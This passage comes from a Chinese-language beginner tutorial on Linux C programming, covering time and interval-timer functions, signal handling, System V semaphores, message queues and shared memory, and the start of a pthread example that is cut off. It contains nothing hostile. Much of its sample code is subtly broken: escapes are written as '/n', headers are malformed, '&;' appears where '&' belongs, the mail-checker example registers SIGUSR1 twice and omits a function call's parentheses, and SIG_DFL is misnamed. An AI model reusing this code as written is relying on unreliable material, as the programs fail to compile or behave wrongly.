write(STDOUT_FILENO,buffer,strlen(buffer));
}
exit(0);
}
好了,文件一章我們就暫時先討論到這里,學習好了文件的操作我們其實已經可以寫出一
些比較有用的程序了.我們可以編寫一個實現例如dir,mkdir,cp,mv等等常用的文件操作
命令了.
想不想自己寫幾個試一試呢?

4)程序設計入門--時間概念
前言:Linux下的時間概念
這一章我們學習Linux的時間表示和計算函數
時間的表示
時間的測量
計時器的使用
1。時間表示 在程序當中,我們經常要輸出系統當前的時間,比如我們使用date命令
的輸出結果.這個時候我們可以使用下面兩個函數
#include <time.h>

time_t time(time_t *tloc);
char *ctime(const time_t *clock);
time函數返回從1970年1月1日0點以來的秒數.存儲在time_t結構之中.不過這個函數的返
回值對于我們來說沒有什么實際意義.這個時候我們使用第二個函數將秒數轉化為字符串
.. 這個函數的返回類型是固定的:一個可能值為. Thu Dec 7 14:58:59 2000 這個字符串
的長度是固定的為26
2。時間的測量 有時候我們要計算程序執行的時間.比如我們要對算法進行時間分析
..這個時候可以使用下面這個函數.
#include <sys/time.h>

int gettimeofday(struct timeval *tv,struct timezone *tz);
strut timeval {
long tv_sec; /* 秒數 */
long tv_usec; /* 微秒數 */
};
gettimeofday將時間保存在結構tv之中.tz一般我們使用NULL來代替.
#include <sys/time.h<
#include <stdio.h<
#include <math.h<
void function()
{
unsigned int i,j;
double y;
for(i=0;i<1000;i++)
for(j=0;j<1000;j++)
y=sin((double)i);
}
main()
{
struct timeval tpstart,tpend;
float timeuse;
gettimeofday(&tpstart,NULL);
function();
gettimeofday(&tpend,NULL);
timeuse=1000000*(tpend.tv_sec-tpstart.tv_sec)+
tpend.tv_usec-tpstart.tv_usec;
timeuse/=1000000;
printf("Used Time:%f/n",timeuse);
exit(0);
}
這個程序輸出函數的執行時間,我們可以使用這個來進行系統性能的測試,或者是函數算
法的效率分析.在我機器上的一個輸出結果是: Used Time:0.556070
3。計時器的使用 Linux操作系統為每一個進程提供了3個內部間隔計時器.
ITIMER_REAL:減少實際時間.到時的時候發出SIGALRM信號.
ITIMER_VIRTUAL:減少有效時間(進程執行的時間).產生SIGVTALRM信號.
ITIMER_PROF:減少進程的有效時間和系統時間(為進程調度用的時間).這個經常和上面一
個使用用來計算系統內核時間和用戶時間.產生SIGPROF信號.
具體的操作函數是:
#include <sys/time.h>
int getitimer(int which,struct itimerval *value);
int setitimer(int which,struct itimerval *newval,
struct itimerval *oldval);
struct itimerval {
struct timeval it_interval;
struct timeval it_value;
}
getitimer函數得到間隔計時器的時間值.保存在value中 setitimer函數設置間隔計時器
的時間值為newval.并將舊值保存在oldval中. which表示使用三個計時器中的哪一個.
itimerval結構中的it_value是減少的時間,當這個值為0的時候就發出相應的信號了. 然
后設置為it_interval值.
#include <sys/time.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#define PROMPT "時間已經過去了兩秒鐘/n/a"
char *prompt=PROMPT;
unsigned int len;
void prompt_info(int signo)
{
write(STDERR_FILENO,prompt,len);
}
void init_sigaction(void)
{
struct sigaction act;
act.sa_handler=prompt_info;
act.sa_flags=0;
sigemptyset(&act.sa_mask);
sigaction(SIGPROF,&act,NULL);
}
void init_time()
{
struct itimerval value;
value.it_value.tv_sec=2;
value.it_value.tv_usec=0;
value.it_interval=value.it_value;
setitimer(ITIMER_PROF,&value,NULL);
}
int main()
{
len=strlen(prompt);
init_sigaction();
init_time();
while(1);
exit(0);
}
這個程序每執行兩秒中之后會輸出一個提示.

5)Linux程序設計入門--信號處理
Linux下的信號事件
前言:這一章我們討論一下Linux下的信號處理函數.
Linux下的信號處理函數:
信號的產生
信號的處理
其它信號函數
一個實例
1。信號的產生
Linux下的信號可以類比于DOS下的INT或者是Windows下的事件.在有一個信號發生時
候相信的信號就會發送給相應的進程.在Linux下的信號有以下幾個. 我們使用 kill -l
命令可以得到以下的輸出結果:
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD
18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN
22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO
30) SIGPWR
關于這些信號的詳細解釋請查看man 7 signal的輸出結果. 信號事件的發生有兩個來源
:一個是硬件的原因(比如我們按下了鍵盤),一個是軟件的原因(比如我們使用系統函數或
者是命令發出信號). 最常用的四個發出信號的系統函數是kill, raise, alarm和setit
imer函數. setitimer函數我們在計時器的使用 那一章再學習.
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
int kill(pid_t pid,int sig);
int raise(int sig);
unisigned int alarm(unsigned int seconds);
kill系統調用負責向進程發送信號sig.
如果pid是正數,那么向信號sig被發送到進程pid.
如果pid等于0,那么信號sig被發送到所以和pid進程在同一個進程組的進程
如果pid等于-1,那么信號發給所有的進程表中的進程,除了最大的哪個進程號.
如果pid由于-1,和0一樣,只是發送進程組是-pid.
我們用最多的是第一個情況.還記得我們在守護進程那一節的例子嗎?我們那個時候用這
個函數殺死了父進程守護進程的創建
raise系統調用向自己發送一個sig信號.我們可以用上面那個函數來實現這個功能的.
alarm函數和時間有點關系了,這個函數可以在seconds秒后向自己發送一個SIGALRM信號
.. 下面這個函數會有什么結果呢?
#include <unistd.h>
main()
{
unsigned int i;
alarm(1);
for(i=0;1;i++)
printf("I=%d",i);
}
SIGALRM的缺省操作是結束進程,所以程序在1秒之后結束,你可以看看你的最后I值為多少
,來比較一下大家的系統性能差異(我的是2232).
2。信號操作 有時候我們希望進程正確的執行,而不想進程受到信號的影響,比如我
們希望上面那個程序在1秒鐘之后不結束.這個時候我們就要進行信號的操作了.
信號操作最常用的方法是信號屏蔽.信號屏蔽要用到下面的幾個函數.
#include <signal.h>
int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set,int signo);
int sigdelset(sigset_t *set,int signo);
int sigismember(sigset_t *set,int signo);
int sigprocmask(int how,const sigset_t *set,sigset_t *oset);
sigemptyset函數初始化信號集合set,將set設置為空.sigfillset也初始化信號集合,只
是將信號集合設置為所有信號的集合.sigaddset將信號signo加入到信號集合之中,sigd
elset將信號從信號集合中刪除.sigismember查詢信號是否在信號集合之中.
sigprocmask是最為關鍵的一個函數.在使用之前要先設置好信號集合set.這個函數的作
用是將指定的信號集合set加入到進程的信號阻塞集合之中去,如果提供了oset那么當前
的進程信號阻塞集合將會保存在oset里面.參數how決定函數的操作方式.
SIG_BLOCK:增加一個信號集合到當前進程的阻塞集合之中.
SIG_UNBLOCK:從當前的阻塞集合之中刪除一個信號集合.
SIG_SETMASK:將當前的信號集合設置為信號阻塞集合.
以一個實例來解釋使用這幾個函數.
#include <signal.h>
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
double y;
sigset_t intmask;
int i,repeat_factor;
if(argc!=2)
{
fprintf(stderr,"Usage:%s repeat_factor/n/a",argv[0]);
exit(1);
}
if((repeat_factor=atoi(argv[1]))<1)repeat_factor=10;
sigemptyset(&intmask); /* 將信號集合設置為空 */
sigaddset(&intmask,SIGINT); /* 加入中斷 Ctrl+C 信號*/
while(1)
{
/*阻塞信號,我們不希望保存原來的集合所以參數為NULL*/
sigprocmask(SIG_BLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal blocked/n");
for(i=0;i<repeat_factor;i++)y=sin((double)i);
fprintf(stderr,"Blocked calculation is finished/n");
/* 取消阻塞 */
sigprocmask(SIG_UNBLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal unblocked/n");
for(i=0;i<repeat_factor;i++)y=sin((double)i);
fprintf(stderr,"Unblocked calculation is finished/n");
}
exit(0);
}
程序在運行的時候我們要使用Ctrl+C來結束.如果我們在第一計算的時候發出SIGINT信號
,由于信號已經屏蔽了,所以程序沒有反映.只有到信號被取消阻塞的時候程序才會結束.
注意我們只要發出一次SIGINT信號就可以了,因為信號屏蔽只是將信號加入到信號阻塞
集合之中,并沒有丟棄這個信號.一旦信號屏蔽取消了,這個信號就會發生作用.
有時候我們希望對信號作出及時的反映的,比如當擁護按下Ctrl+C時,我們不想什么事情
也不做,我們想告訴用戶你的這個操作不好,請不要重試,而不是什么反映也沒有的. 這個
時候我們要用到sigaction函數.
#include <signal.h>

int sigaction(int signo,const struct sigaction *act,
struct sigaction *oact);
struct sigaction {
void (*sa_handler)(int signo);
void (*sa_sigaction)(int siginfo_t *info,void *act);
sigset_t sa_mask;
int sa_flags;
void (*sa_restore)(void);
}
這個函數和結構看起來是不是有點恐怖呢.不要被這個嚇著了,其實這個函數的使用相當
簡單的.我們先解釋一下各個參數的含義. signo很簡單就是我們要處理的信號了,可以是
任何的合法的信號.有兩個信號不能夠使用(SIGKILL和SIGSTOP). act包含我們要對這個
信號進行如何處理的信息.oact更簡單了就是以前對這個函數的處理信息了,主要用來保
存信息的,一般用NULL就OK了.
信號結構有點復雜.不要緊我們慢慢的學習.
sa_handler是一個函數型指針,這個指針指向一個函數,這個函數有一個參數.這個函數就
是我們要進行的信號操作的函數. sa_sigaction,sa_restore和sa_handler差不多的,只
是參數不同罷了.這兩個元素我們很少使用,就不管了.
sa_flags用來設置信號操作的各個情況.一般設置為0好了.sa_mask我們已經學習過了
在使用的時候我們用sa_handler指向我們的一個信號操作函數,就可以了.sa_handler有
兩個特殊的值:SIG_DEL和SIG_IGN.SIG_DEL是使用缺省的信號操作函數,而SIG_IGN是使用
忽略該信號的操作函數.
這個函數復雜,我們使用一個實例來說明.下面這個函數可以捕捉用戶的CTRL+C信號.并輸
出一個提示語句.
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#define PROMPT "你想終止程序嗎?"
char *prompt=PROMPT;
void ctrl_c_op(int signo)
{
write(STDERR_FILENO,prompt,strlen(prompt));
}
int main()
{
struct sigaction act;
act.sa_handler=ctrl_c_op;
sigemptyset(&act.sa_mask);
act.sa_flags=0;
if(sigaction(SIGINT,&act,NULL)<0)
{
fprintf(stderr,"Install Signal Action Error:%s/n/a",strerror(errno));
exit(1);
}
while(1);
}
在上面程序的信號操作函數之中,我們使用了write函數而沒有使用fprintf函數.是因為
我們要考慮到下面這種情況.如果我們在信號操作的時候又有一個信號發生,那么程序該
如何運行呢? 為了處理在信號處理函數運行的時候信號的發生,我們需要設置sa_mask成
員. 我們將我們要屏蔽的信號添加到sa_mask結構當中去,這樣這些函數在信號處理的時
候就會被屏蔽掉的.
3。其它信號函數 由于信號的操作和處理比較復雜,我們再介紹幾個信號操作函數.

#include <unistd.h>
#include <signal.h>
int pause(void);
int sigsuspend(const sigset_t *sigmask);
pause函數很簡單,就是掛起進程直到一個信號發生了.而sigsuspend也是掛起進程只是在
調用的時候用sigmask取代當前的信號阻塞集合.
#include <sigsetjmp>
int sigsetjmp(sigjmp_buf env,int val);
void siglongjmp(sigjmp_buf env,int val);
還記得goto函數或者是setjmp和longjmp函數嗎.這兩個信號跳轉函數也可以實現程序的
跳轉讓我們可以從函數之中跳轉到我們需要的地方.
由于上面幾個函數,我們很少遇到,所以只是說明了一下,詳細情況請查看聯機幫助.
4。一個實例 還記得我們在守護進程創建的哪個程序嗎?守護進程在這里我們把那個
程序加強一下. 下面這個程序會在也可以檢查用戶的郵件.不過提供了一個開關,如果用
戶不想程序提示有新的郵件到來,可以向程序發送SIGUSR2信號,如果想程序提供提示可以
發送SIGUSR1信號.
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <pwd.h>
#include <sys/types.h>
#include <sys/stat.h>
/* Linux 的默任個人的郵箱地址是 /var/spool/mail/ */
#define MAIL_DIR "/var/spool/mail/"
/* 睡眠10秒鐘 */
#define SLEEP_TIME 10
#define MAX_FILENAME 255
unsigned char notifyflag=1;
long get_file_size(const char *filename)
{
struct stat buf;
if(stat(filename,&;buf)==-1)
{
if(errno==ENOENT)return 0;
else return -1;
}
return (long)buf.st_size;
}
void send_mail_notify(void)
{
fprintf(stderr,"New mail has arrived/007/n");
}
void turn_on_notify(int signo)
{
notifyflag=1;
}
void turn_off_notify(int signo)
{
notifyflag=0;
}
int check_mail(const char *filename)
{
long old_mail_size,new_mail_size;
sigset_t blockset,emptyset;
sigemptyset(&;blockset);
sigemptyset(&;emptyset);
sigaddset(&;blockset,SIGUSR1);
sigaddset(&;blockset,SIGUSR2);
old_mail_size=get_file_size(filename);
if(old_mail_size<0)return 1;
if(old_mail_size>0) send_mail_notify();
sleep(SLEEP_TIME);
while(1)
{
if(sigprocmask(SIG_BLOCK,&;blockset,NULL)<0) return 1;
while(notifyflag==0)sigsuspend(&;emptyset);
if(sigprocmask(SIG_SETMASK,&;emptyset,NULL)<0) return 1;
new_mail_size=get_file_size(filename);
if(new_mail_size>old_mail_size)send_mail_notify;
old_mail_size=new_mail_size;
sleep(SLEEP_TIME);
}
}
int main(void)
{
char mailfile[MAX_FILENAME];
struct sigaction newact;
struct passwd *pw;
if((pw=getpwuid(getuid()))==NULL)
{
fprintf(stderr,"Get Login Name Error:%s/n/a",strerror(errno));
exit(1);
}
strcpy(mailfile,MAIL_DIR);
strcat(mailfile,pw->pw_name);
newact.sa_handler=turn_on_notify;
newact.sa_flags=0;
sigemptyset(&;newact.sa_mask);
sigaddset(&;newact.sa_mask,SIGUSR1);
sigaddset(&;newact.sa_mask,SIGUSR2);
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn On Error:%s/n/a",strerror(errno));
newact.sa_handler=turn_off_notify;
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn Off Error:%s/n/a",strerror(errno));
check_mail(mailfile);
exit(0);
}
信號操作是一件非常復雜的事情,比我們想象之中的復雜程度還要復雜,如果你想徹底的
弄清楚信號操作的各個問題,那么除了大量的練習以外還要多看聯機手冊.不過如果我們
只是一般的使用的話,有了上面的幾個函數也就差不多了. 我們就介紹到這里了.

6)Linux程序設計入門--消息管理
前言:Linux下的進程通信(IPC)
Linux下的進程通信(IPC)
POSIX無名信號量
System V信號量
System V消息隊列
System V共享內存
1。POSIX無名信號量 如果你學習過操作系統,那么肯定熟悉PV操作了.PV操作是原子
操作.也就是操作是不可以中斷的,在一定的時間內,只能夠有一個進程的代碼在CPU上面
執行.在系統當中,有時候為了順利的使用和保護共享資源,大家提出了信號的概念. 假設
我們要使用一臺打印機,如果在同一時刻有兩個進程在向打印機輸出,那么最終的結果會
是什么呢.為了處理這種情況,POSIX標準提出了有名信號量和無名信號量的概念,由于Li
nux只實現了無名信號量,我們在這里就只是介紹無名信號量了. 信號量的使用主要是用
來保護共享資源,使的資源在一個時刻只有一個進程所擁有.為此我們可以使用一個信號
燈.當信號燈的值為某個值的時候,就表明此時資源不可以使用.否則就表>示可以使用.
為了提供效率,系統提供了下面幾個函數
POSIX的無名信號量的函數有以下幾個:
#include <semaphore.h>
int sem_init(sem_t *sem,int pshared,unsigned int value);
int sem_destroy(sem_t *sem);
int sem_wait(sem_t *sem);
int sem_trywait(sem_t *sem);
int sem_post(sem_t *sem);
int sem_getvalue(sem_t *sem);
sem_init創建一個信號燈,并初始化其值為value.pshared決定了信號量能否在幾個進程
間共享.由于目前Linux還沒有實現進程間共享信號燈,所以這個值只能夠取0. sem_dest
roy是用來刪除信號燈的.sem_wait調用將阻塞進程,直到信號燈的值大于0.這個函數返回
的時候自動的將信號燈的值的件一.sem_post和sem_wait相反,是將信號燈的內容加一同
時發出信號喚醒等待的進程..sem_trywait和sem_wait相同,不過不阻塞的,當信號燈的值
為0的時候返回EAGAIN,表示以后重試.sem_getvalue得到信號燈的值.
由于Linux不支持,我們沒有辦法用源程序解釋了.
這幾個函數的使用相當簡單的.比如我們有一個程序要向一個系統打印機打印兩頁.我們
首先創建一個信號燈,并使其初始值為1,表示我們有一個資源可用.然后一個進程調用se
m_wait由于這個時候信號燈的值為1,所以這個函數返回,打印機開始打印了,同時信號燈
的值為0 了. 如果第二個進程要打印,調用sem_wait時候,由于信號燈的值為0,資源不可
用,于是被阻塞了.當第一個進程打印完成以后,調用sem_post信號燈的值為1了,這個時候
系統通知第二個進程,于是第二個進程的sem_wait返回.第二個進程開始打印了.
不過我們可以使用線程來解決這個問題的.我們會在后面解釋什么是線程的.編譯包含上
面這幾個函數的程序要加上 -lrt選賢,以連接librt.so庫
2。System V信號量 為了解決上面哪個問題,我們也可以使用System V信號量.很幸運的
是Linux實現了System V信號量.這樣我們就可以用實例來解釋了. System V信號量的函
數主要有下面幾個.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
key_t ftok(char *pathname,char proj);
int semget(key_t key,int nsems,int semflg);
int semctl(int semid,int semnum,int cmd,union semun arg);
int semop(int semid,struct sembuf *spos,int nspos);
struct sembuf {
short sem_num; /* 使用那一個信號 */
short sem_op; /* 進行什么操作 */
short sem_flg; /* 操作的標志 */
};
ftok函數是根據pathname和proj來創建一個關鍵字.semget創建一個信號量.成功時返回
信號的ID,key是一個關鍵字,可以是用ftok創建的也可以是IPC_PRIVATE表明由系統選用
一個關鍵字. nsems表明我們創建的信號個數.semflg是創建的權限標志,和我們創建一個
文件的標志相同.
semctl對信號量進行一系列的控制.semid是要操作的信號標志,semnum是信號的個數,cm
d是操作的命令.經常用的兩個值是:SETVAL(設置信號量的值)和IPC_RMID(刪除信號燈).
arg是一個給cmd的參數.
semop是對信號進行操作的函數.semid是信號標志,spos是一個操作數組表明要進行什么
操作,nspos表明數組的個數. 如果sem_op大于0,那么操作將sem_op加入到信號量的值中
,并喚醒等待信號增加的進程. 如果為0,當信號量的值是0的時候,函數返回,否則阻塞直
到信號量的值為0. 如果小于0,函數判斷信號量的值加上這個負值.如果結果為0喚醒等待
信號量為0的進程,如果小與0函數阻塞.如果大于0,那么從信號量里面減去這個值并返回
..
下面我們一以一個實例來說明這幾個函數的使用方法.這個程序用標準錯誤輸出來代替我
們用的打印機.
#include <stdio.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define PERMS S_IRUSR|S_IWUSR
void init_semaphore_struct(struct sembuf *sem,int semnum,
int semop,int semflg)
{
/* 初始話信號燈結構 */
sem->sem_num=semnum;
sem->sem_op=semop;
sem->sem_flg=semflg;
}
int del_semaphore(int semid)
{
/* 信號燈并不隨程序的結束而被刪除,如果我們沒刪除的話(將1改為0)
可以用ipcs命令查看到信號燈,用ipcrm可以刪除信號燈的
*/
#if 1
return semctl(semid,0,IPC_RMID);
#endif
}
int main(int argc,char **argv)
{
char buffer[MAX_CANON],*c;
int i,n;
int semid,semop_ret,status;
pid_t childpid;
struct sembuf semwait,semsignal;
if((argc!=2)||((n=atoi(argv[1]))<1))
{
fprintf(stderr,"Usage:%s number/n/a",argv[0]);
exit(1);
}
/* 使用IPC_PRIVATE 表示由系統選擇一個關鍵字來創建 */
/* 創建以后信號燈的初始值為0 */
if((semid=semget(IPC_PRIVATE,1,PERMS))==-1)
{
fprintf(stderr,"[%d]:Acess Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(1);
}
/* semwait是要求資源的操作(-1) */
init_semaphore_struct(&semwait,0,-1,0);
/* semsignal是釋放資源的操作(+1) */
init_semaphore_struct(&semsignal,0,1,0);
/* 開始的時候有一個系統資源(一個標準錯誤輸出) */
if(semop(semid,&semsignal,1)==-1)
{
fprintf(stderr,"[%d]:Increment Semaphore Error:%s/n/a",
getpid(),strerror(errno));
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]:Destroy Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(1);
}
/* 創建一個進程鏈 */
for(i=0;i<n;i++)
if(childpid=fork()) break;
sprintf(buffer,"[i=%d]-->[Process=%d]-->[Parent=%d]-->[Child=%d]/n",
i,getpid(),getppid(),childpid);
c=buffer;
/* 這里要求資源,進入原子操作 */
while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
{
fprintf(stderr,"[%d]:Decrement Semaphore Error:%s/n/a",
getpid(),strerror(errno));
}
else
{
while(*c!='/0')fputc(*c++,stderr);
/* 原子操作完成,趕快釋放資源 */
while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
fprintf(stderr,"[%d]:Increment Semaphore Error:%s/n/a",
getpid(),strerror(errno));
}
/* 不能夠在其他進程反問信號燈的時候,我們刪除了信號燈 */
while((wait(&status)==-1)&&(errno==EINTR));
/* 信號燈只能夠被刪除一次的 */
if(i==1)
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]:Destroy Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(0);
}
信號燈的主要用途是保護臨界資源(在一個時刻只被一個進程所擁有).
3。SystemV消息隊列 為了便于進程之間通信,我們可以使用管道通信 SystemV也提供了
一些函數來實現進程的通信.這就是消息隊列.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key,int msgflg);
int msgsnd(int msgid,struct msgbuf *msgp,int msgsz,int msgflg);
int msgrcv(int msgid,struct msgbuf *msgp,int msgsz,
long msgtype,int msgflg);
int msgctl(Int msgid,int cmd,struct msqid_ds *buf);

struct msgbuf {
long msgtype; /* 消息類型 */
....... /* 其他數據類型 */
}
msgget函數和semget一樣,返回一個消息隊列的標志.msgctl和semctl是對消息進行控制
.. msgsnd和msgrcv函數是用來進行消息通訊的.msgid是接受或者發送的消息隊列標志.
msgp是接受或者發送的內容.msgsz是消息的大小. 結構msgbuf包含的內容是至少有一個
為msgtype.其他的成分是用戶定義的.對于發送函數msgflg指出緩沖區用完時候的操作.
接受函數指出無消息時候的處理.一般為0. 接收函數msgtype指出接收消息時候的操作.

如果msgtype=0,接收消息隊列的第一個消息.大于0接收隊列中消息類型等于這個值的第
一個消息.小于0接收消息隊列中小于或者等于msgtype絕對值的所有消息中的最小一個消
息. 我們以一個實例來解釋進程通信.下面這個程序有server和client組成.先運行服務
端后運行客戶端.
服務端 server.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/stat.h>
#include <sys/msg.h>
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main()
{
struct msgtype msg;
key_t key;
int msgid;
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error:%s/a/n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM|IPC_CREAT|IPC_EXCL))==-1)
{
fprintf(stderr,"Creat Message Error:%s/a/n",strerror(errno));
exit(1);
}
while(1)
{
msgrcv(msgid,&msg,sizeof(struct msgtype),1,0);
fprintf(stderr,"Server Receive:%s/n",msg.buffer);
msg.mtype=2;
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
}
exit(0);
}
----------------------------------------------------------------------------
----
客戶端(client.c)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/stat.h>
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main(int argc,char **argv)
{
struct msgtype msg;
key_t key;
int msgid;
if(argc!=2)
{
fprintf(stderr,"Usage:%s string/n/a",argv[0]);
exit(1);
}
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error:%s/a/n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM))==-1)
{
fprintf(stderr,"Creat Message Error:%s/a/n",strerror(errno));
exit(1);
}
msg.mtype=1;
strncpy(msg.buffer,argv[1],BUFFER);
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
memset(&msg,'/0',sizeof(struct msgtype));
msgrcv(msgid,&msg,sizeof(struct msgtype),2,0);
fprintf(stderr,"Client receive:%s/n",msg.buffer);
exit(0);
}
注意服務端創建的消息隊列最后沒有刪除,我們要使用ipcrm命令來刪除的.
4。SystemV共享內存 還有一個進程通信的方法是使用共享內存.SystemV提供了以下幾個
函數以實現共享內存.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key,int size,int shmflg);
void *shmat(int shmid,const void *shmaddr,int shmflg);
int shmdt(const void *shmaddr);
int shmctl(int shmid,int cmd,struct shmid_ds *buf);
shmget和shmctl沒有什么好解釋的.size是共享內存的大小. shmat是用來連接共享內存
的.shmdt是用來斷開共享內存的.不要被共享內存詞語嚇倒,共享內存其實很容易實現和
使用的.shmaddr,shmflg我們只要用0代替就可以了.在使用一個共享內存之前我們調用s
hmat得到共享內存的開始地址,使用結束以后我們使用shmdt斷開這個內存.
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#define PERM S_IRUSR|S_IWUSR
int main(int argc,char **argv)
{
int shmid;
char *p_addr,*c_addr;
if(argc!=2)
{
fprintf(stderr,"Usage:%s/n/a",argv[0]);
exit(1);
}
if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1)
{
fprintf(stderr,"Create Share Memory Error:%s/n/a",strerror(errno));
exit(1);
}
if(fork())
{
p_addr=shmat(shmid,0,0);
memset(p_addr,'/0',1024);
strncpy(p_addr,argv[1],1024);
exit(0);
}
else
{
c_addr=shmat(shmid,0,0);
printf("Client get %s",c_addr);
exit(0);
}
}
這個程序是父進程將參數寫入到共享內存,然后子進程把內容讀出來.最后我們要使用ip
crm釋放資源的.先用ipcs找出ID然后用ipcrm shm ID刪除.
后記:
進程通信(IPC)是網絡程序的基礎,在很多的網絡程序當中會大量的使用進程通信的概念
和知識.其實進程通信是一件非常復雜的事情,我在這里只是簡單的介紹了一下.如果你想
學習進程通信的詳細知識,最好的辦法是自己不斷的寫程序和看聯機手冊.現在網絡上有
了很多的知識可以去參考.可惜我看到的很多都是英文編寫的.如果你找到了有中文的版
本請盡快告訴我.謝謝!

7)Linux程序設計入門--線程操作
前言:Linux下線程的創建
介紹在Linux下線程的創建和基本的使用. Linux下的線程是一個非常復雜的問題,由
于我對線程的學習不時很好,我在這里只是簡單的介紹線程的創建和基本的使用,關于線
程的高級使用(如線程的屬性,線程的互斥,線程的同步等等問題)可以參考我后面給出的
資料. 現在關于線程的資料在網絡上可以找到許多英文資料,后面我羅列了許多鏈接,對
線程的高級屬性感興趣的話可以參考一下. 等到我對線程的了解比較深刻的時候,我回來
完成這篇文章.如果您對線程了解的詳盡我也非常高興能夠由您來完善.
先介紹什么是線程.我們編寫的程序大多數可以看成是單線程的.就是程序是按照一定的
順序來執行.如果我們使用線程的話,程序就會在我們創建線成的地方分叉,變成兩個"程
序"在執行.粗略的看來好象和子進程差不多的,其實不然.子進程是通過拷貝父進程的地
址空間來執行的.而線程是通過共享程序代碼來執行的,講的通俗一點就是線程的相同的
代碼會被執行幾次.使用線程的好處是可以節省資源,由于線程是通過共享代碼的,所以沒
有進程調度那么復雜.
線程的創建和使用
線程的創建是用下面的幾個函數來實現的.
#include <pthread.h>
int pthread_create(pthread_t *thread,pthread_attr_t *attr,
void *(*start_routine)(void *),void *arg);
void pthread_exit(void *retval);
int pthread_join(pthread *thread,void **thread_return);
pthread_create創建一個線程,thread是用來表明創建線程的ID,attr指出線程創建時候
的屬性,我們用NULL來表明使用缺省屬性.start_routine函數指針是線程創建成功后開始
執行的函數,arg是這個函數的唯一一個參數.表明傳遞給start_routine的參數. pthrea
d_exit函數和exit函數類似用來退出線程.這個函數結束線程,釋放函數的資源,并在最后
阻塞,直到其他線程使用pthread_join函數等待它.然后將*retval的值傳遞給**thread_
return.由于這個函數釋放所以的函數資源,所以retval不能夠指向函數的局部變量. pt
hread_join和wait調用一樣用來等待指定的線程. 下面我們使用一個實例來解釋一下使
用方法.在實踐中,我們經常要備份一些文件.下面這個程序可以實現當前目錄下的所有文
件備份.備份后的后綴名為bak
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <pthread.h>
#include <dirent.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#define BUFFER 512
struct copy_file {
int infile;
int outfile;
};
void *copy(void *arg)
{
int infile,outfile;
int bytes_read,bytes_write,*bytes_copy_p;
char buffer[BUFFER],*buffer_p;
struct copy_file *file=(struct copy_file *)arg;
infile=file->infile;
outfile=file->outfile;
/* 因為線程退出時,所有的變量空間都要被釋放,所以我們只好自己分配內存了 */
if((bytes_copy_p=(int *)malloc(sizeof(int)))==NULL) pthread_exit(NULL);
bytes_read=bytes_write=0;
*bytes_copy_p=0;
/* 還記得怎么拷貝文件嗎 */
while((bytes_read=read(infile,buffer,BUFFER))!=0)
{
if((bytes_read==-1)&&(errno!=EINTR))break;
else if(bytes_read>0)
{
buffer_p=buffer;
while((bytes_write=write(outfile,buffer_p,bytes_read))!=0)
{
if((bytes_write==-1)&&(errno!=EINTR))break;
else if(bytes_write==bytes_read)break;
else if(bytes_write>0)
{
buffer_p+=bytes_write;
bytes_read-=bytes_write;
}
}
if(bytes_write==-1)break;
*bytes_copy_p+=bytes_read;
}
}
close(infile);
close(outfile);
pthread_exit(bytes_copy_p);
}
int main(int argc,char **argv)
{
pthread_t *thread;
